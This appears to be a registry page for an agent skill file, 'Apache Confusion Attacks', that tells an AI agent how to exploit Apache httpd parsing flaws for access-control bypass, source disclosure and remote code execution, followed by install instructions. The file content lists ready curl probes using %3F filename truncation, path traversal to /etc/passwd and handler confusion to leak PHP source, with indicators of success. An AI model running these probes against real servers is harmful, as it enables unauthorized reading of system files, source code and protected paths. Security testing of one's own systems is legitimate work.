Exploit Apache httpd semantic parsing ambiguities for ACL bypass, SSRF, source disclosure, and RCE. Use when Apache httpd detected (Server header, .htaccess, mod_rewrite).
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Apache Confusion Attacks ## Pattern - Apache httpd with mod_rewrite enabled (common in most deployments) - Multiple modules processing same request (mod_rewrite, mod_alias, mod_cgi) - Handler field inconsistencies across module pipeline - DocumentRoot-relative path resolution in use ## Probe **Filename Confusion — path truncation via `%3F`:** ``` curl 'https://target/admin.php%3Fooo.php' curl 'https://target/user/orange%2Fsecret.yml%3F' ``` **DocumentRoot Confusion — source disclosure:** ``` curl 'https://target/var/www/html/../../etc/passwd' curl 'https://target/server-status%3Ffoo' ``` **Handler Confusion — force source disclosure:** ``` curl 'https://target/cgi-bin/../app.php' curl 'https://target/index.php/etc/passwd' ``` Key: `%3F` truncates filename for mod_rewrite but not for file serving. Path traversal via `%2F` decoded differently by rewrite vs filesystem modules. ## Indicators - 200 response with file content from outside expected paths - PHP/CGI source code returned as plaintext (handler confusion) - ACL-protected paths accessible with modified URL - Error pages revealing internal path structure ## Chain With …

How to install
mdr add dreadnode/capabilities/apache-confusion-attacks@sha256:b0906e3bffe8ee6cThe line at the top of this page pins the label git:20260504.2a64374, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
